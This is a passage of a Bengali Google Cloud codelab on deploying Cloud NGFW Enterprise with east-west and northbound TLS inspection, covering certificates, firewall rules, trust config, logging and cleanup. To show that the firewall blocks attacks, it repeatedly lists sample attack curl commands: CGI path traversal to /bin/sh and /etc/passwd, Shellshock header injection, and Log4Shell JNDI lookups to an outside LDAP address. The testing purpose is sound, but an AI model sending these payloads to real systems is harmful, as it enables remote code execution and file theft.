এটি ক্লাউডশেলে একটি cert.pem এবং key.pem ফাইল তৈরি করবে। এরপর, সার্টিফিকেট এবং কী সার্ভারে স্থানান্তর করুন।

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

অ্যাপাচির সার্টিফিকেটের বিবরণ আপডেট করতে সার্ভারে SSH করুন:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

সার্টিফিকেট এবং কী নির্দিষ্ট ফোল্ডারে সরান:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

স্বাক্ষরিত সার্টিফিকেট ব্যবহার করার জন্য এসএসএল কনফিগারেশন আপডেট করুন:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

অ্যাপাচি পুনরায় চালু করুন:

sudo systemctl restart apache2

অ্যাপাচি স্ট্যাটাস যাচাই করুন:

sudo systemctl status apache2

এটি সক্রিয় (চলমান) থাকা উচিত।

ভিএম থেকে বেরিয়ে আসুন এবং ক্লাউডশেলে কাজ চালিয়ে যান।

৮. উত্তরমুখী এবং পূর্ব/পশ্চিম সংযোগ যাচাই করুন

ক্লাউড শেলে নিচের কমান্ডগুলো চালান এবং ব্যবহৃতব্য টার্গেট আইপিগুলো নোট করে নিন:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

একটি নতুন ট্যাব খুলুন এবং IAP-এর মাধ্যমে ক্লায়েন্ট VM-এ একটি SSH সংযোগ শুরু করুন (আপনাকে নতুন ট্যাবে ভেরিয়েবলগুলি নির্ধারণ করতে হবে):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

নিচের কমান্ডগুলো চালান এবং ব্যবহার করার জন্য টার্গেট আইপিগুলো নোট করুন। পূর্ববর্তী ধাপে নোট করা আইপিগুলো দিয়ে বন্ধনীর ভেতরের মানগুলো প্রতিস্থাপন করে ভেরিয়েবলগুলো তৈরি করুন এবং নিশ্চিত করুন যে সেগুলো অ্যাক্সেসযোগ্য।

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

প্রাইভেট আইপিটি কার্ল করুন এবং নিশ্চিত করুন যে এটি পৌঁছানো সম্ভব:

curl https://$target_privateip --max-time 2

curl অনুরোধের প্রত্যাশিত ফলাফল:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

আইপি-তে নমুনা আক্রমণ পাঠান। ওয়েব সার্ভারকে অবশ্যই সমস্ত অনুরোধের উত্তর দিতে হবে, যা নিশ্চিত করবে যে সেখানে কোনো L7 পরিদর্শন/প্রতিরোধ ব্যবস্থা নেই:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

নমুনা প্রত্যাশিত ফলাফল (ব্যক্তিগত আইপি):

400
404
400
200
200

একইভাবে, কোনো ইন্টারনেট গন্তব্যে অনুরোধ পাঠান:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

নমুনা প্রত্যাশিত ফলাফল (ইন্টারনেট গন্তব্য):

400
404
400
403
403

ভিএম টার্মিনাল থেকে বেরিয়ে ক্লাউড শেলে ফিরে যান।

৯. TLS পরিদর্শনের জন্য ফায়ারওয়াল নিয়ম তৈরি এবং আপডেট করুন

পূর্বে, আমরা অভ্যন্তরীণ সাবনেট থেকে আমাদের সার্ভারে ইনগ্রেস ট্র্যাফিক অনুমোদনের জন্য একটি ফায়ারওয়াল নিয়ম কনফিগার করেছিলাম। এখন আমরা বিদ্যমান ইনগ্রেস নিয়মগুলো আপডেট করব এবং অ্যাকশনটি `apply_security_profile_group`-এ সেট করব। এর ফলে TLS সহ E/W L7 ইন্সপেকশন সক্ষম হবে।

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

TLS ব্যবহার করে উত্তরমুখী L7 পরিদর্শন নিরীক্ষণের জন্য একটি নতুন নিয়ম তৈরি করুন।

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

দ্বৈত পরিদর্শন এড়ানোর জন্য পূর্ব/পশ্চিম দিকে বহির্গমনের অনুমতি দিতে একটি নতুন নিয়ম তৈরি করুন।

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

১০. উত্তরমুখী টিএলএস পরিদর্শন যাচাইকরণ

ক্লায়েন্ট ভিএম ট্যাবে ফিরে যান অথবা পুনরায় সংযোগ করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

নমুনা আক্রমণগুলো একটি ইন্টারনেট গন্তব্যে পাঠান:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

নীচে প্রত্যাশিত আউটপুট অনুযায়ী কোনো প্রতিক্রিয়া পাওয়া যায়নি, যা নিশ্চিত করে যে নমুনা আক্রমণগুলি এখন ব্লক করা হচ্ছে:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

ভেরিয়েবলটি আগের সার্ভার আইপি-তে সেট করুন:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

সার্ভারে নমুনা TLS অনুরোধ পাঠান:

curl https://$target_privateip --max-time 2

প্রত্যাশিত আউটপুট:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

এই অনুরোধটি কেন ব্যর্থ হলো? এর কারণ হলো, ফায়ারওয়াল সার্ভার থেকে এমন একটি সার্টিফিকেট গ্রহণ করছে যার উপর কোনো বিশ্বাসযোগ্যতা নেই। এমনটা ঘটলে, এটি ক্লায়েন্টের কাছে একটি সেলফ-সাইন্ড সার্টিফিকেট ফেরত পাঠাবে। বিশ্বাসযোগ্যতা সক্রিয় করার জন্য আমাদের ট্রাস্ট কনফিগের অংশ হিসেবে CA সার্টিফিকেটটি যোগ করতে হবে।

ক্লাউড শেলে ফিরে যান।

১১. ট্রাস্ট কনফিগারেশন সেট করুন

রুট সিএ সার্টিফিকেটটি সংগ্রহ করুন এবং যথাযথ ফরম্যাটিং সহ এটিকে একটি ভেরিয়েবল হিসেবে সেট করুন।

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

ট্রাস্ট কনফিগ YAML ফাইলটি কনফিগার করুন। এই ফাইলে CA সার্টিফিকেটের মতো ট্রাস্টের বিবরণ থাকে:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

উপরের কমান্ডগুলো আপনার রুট সিএ (Root CA) সার্টিফিকেটকে ট্রাস্ট স্টোরের অংশ হিসেবে অন্তর্ভুক্ত করেছে, যেহেতু আপনার সার্ভার সার্টিফিকেটটি রুট সিএ ব্যবহার করে স্বাক্ষরিত হয়েছিল। এর মানে হলো, ফায়ারওয়াল আপনার রুট সিএ দ্বারা স্বাক্ষরিত যেকোনো সার্টিফিকেটকে বিশ্বাস করবে — যদি আপনার টিএলএস (TLS) পলিসিতে excludePublicCaSet-কে false করা থাকে, তবে পাবলিক সিএ-গুলোর পাশাপাশি এটি আপনার রুট সিএ দ্বারা স্বাক্ষরিত সার্টিফিকেটগুলোকেও বিশ্বাস করবে।

ট্রাস্ট কনফিগের বিষয়বস্তু যাচাই করুন।

cat trust_config.yaml 

নমুনা আউটপুট:

সার্টিফিকেটের ইন্ডেন্টেশন বিন্যাসের প্রতি বিশেষ মনোযোগ দিন। এটিকে অবশ্যই এই বিন্যাসটি হুবহু অনুসরণ করতে হবে।

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

ট্রাস্ট কনফিগারেশনটি ইম্পোর্ট করুন:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

ট্রাস্ট কনফিগারেশন অন্তর্ভুক্ত করতে TLS পলিসি YAML ফাইলটি আপডেট করুন:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

আপডেট করা TLS পলিসি ইম্পোর্ট করুন:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

১২. পূর্ব/পশ্চিম টিএলএস পরিদর্শন যাচাইকরণ

আপডেট করা ট্রাস্ট কনফিগারেশন দিয়ে ই/ডব্লিউ ট্র্যাফিক পরীক্ষা করতে ক্লায়েন্টে SSH করুন:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

সার্ভারে নমুনা TLS অনুরোধটি চালান:

curl https://$target_privateip --max-time 2

আপনি যদি এখনও নিচের আউটপুটটি পান, তাহলে আপডেটগুলি কার্যকর হওয়া পর্যন্ত অপেক্ষা করুন।

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

প্রত্যাশিত আউটপুট:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

সার্ভারে ক্ষতিকর পরীক্ষামূলক ট্র্যাফিক পাঠান:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

প্রত্যাশিত আউটপুট:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

নিচে প্রত্যাশিত আউটপুট অনুযায়ী কোনো প্রতিক্রিয়া পাওয়া যায়নি, যা নিশ্চিত করে যে নমুনা আক্রমণগুলো এখন ই/ডব্লিউ (E/W)-এর জন্য ব্লক করা হচ্ছে।

১৩. লগিং

ক্লাউড কনসোলের মাধ্যমে লগিং > লগস এক্সপ্লোরার-এ যান, নিচের ফিল্টারটি প্রবেশ করান এবং লগগুলো কোয়েরি করুন। [PROJECT_ID]-এর জায়গায় আপনার প্রজেক্ট_আইডি বসান:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

ক্লাউড NGFW এন্টারপ্রাইজ লগ এন্ট্রিগুলো নীচের মতো দেখতে হবে:

5b68cc1063c0f4bd.png

লগ এন্ট্রিগুলো বিস্তারিত দেখুন এবং লক্ষ্য করুন যে ক্লায়েন্ট ভিএম থেকে সার্ভারে পাঠানো আক্রমণগুলো শনাক্ত ও ব্লক করা হয়েছে (নিচের স্ক্রিনশট অনুযায়ী এটি একটি অ্যাপাচি লগ৪জে রিমোট কোড এক্সিকিউশন দুর্বলতা )।

478f18f8481e90ed.png

ক্ষতিকারক অনুরোধ ব্লক করার জন্য আপনি TLS ইন্সপেকশন সহ ক্লাউড NGFW এন্টারপ্রাইজ সফলভাবে স্থাপন করেছেন।

পরিষ্কার করার ধাপগুলোর জন্য পরবর্তী বিভাগে যান।

১৪. পরিষ্কার করার পদক্ষেপ

বেস সেটআপ পরিষ্কার করা

দৃষ্টান্তগুলি মুছে ফেলুন:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

tagAdmin এবং tagUsers রোল পরিবর্তন করা হলে নিচের ধাপগুলো অনুসরণ করুন:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

ট্যাগ কী এবং মানগুলি সরান:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

ক্লাউড ফায়ারওয়াল নেটওয়ার্ক পলিসি এবং অ্যাসোসিয়েশন অপসারণ করুন:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

ক্লাউড রাউটার এবং ক্লাউড NAT মুছে ফেলুন:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

সংরক্ষিত আইপি ঠিকানাগুলো মুছে ফেলুন:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

ক্লাউড ফায়ারওয়াল এসপিজি, অ্যাসোসিয়েশন এবং টিএলএস ক্লিন-আপ

সিকিউরিটি প্রোফাইল গ্রুপ এবং থ্রেট প্রোফাইল এই ক্রমে ডিলিট করুন:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

ক্লাউড ফায়ারওয়াল এন্ডপয়েন্ট অ্যাসোসিয়েশনটি মুছে ফেলুন:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

ক্লাউড ফায়ারওয়াল এন্ডপয়েন্টটি মুছে ফেলুন, এতে প্রায় ২০ মিনিট সময় লাগতে পারে।

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

ঐচ্ছিকভাবে, নিচের কমান্ডটি চালিয়ে ক্লাউড NGFW এন্ডপয়েন্টটি মুছে ফেলা হয়েছে কিনা তা নিশ্চিত করুন:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

এন্ডপয়েন্টের অবস্থাটি নিম্নরূপ হওয়া উচিত:

STATE: DELETING

সম্পূর্ণ হলে, এন্ডপয়েন্টটি আর তালিকাভুক্ত থাকবে না।

এই ক্রমে TLS পলিসি এবং ট্রাস্ট কনফিগ ডিলিট করুন:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

রুট সিএ এবং সিএ পুল নিষ্ক্রিয় ও মুছে ফেলুন:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

সাবনেট এবং ভিপিসি পরিষ্কার করা

অবশেষে, সাবনেট এবং ভিপিসি নেটওয়ার্কটি মুছে ফেলুন:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

১৫. অভিনন্দন!

অভিনন্দন, আপনি সফলভাবে ‘Cloud NGFW Enterprise for East-West and Northbound TLS Inspection’ কোডল্যাবটি সম্পন্ন করেছেন।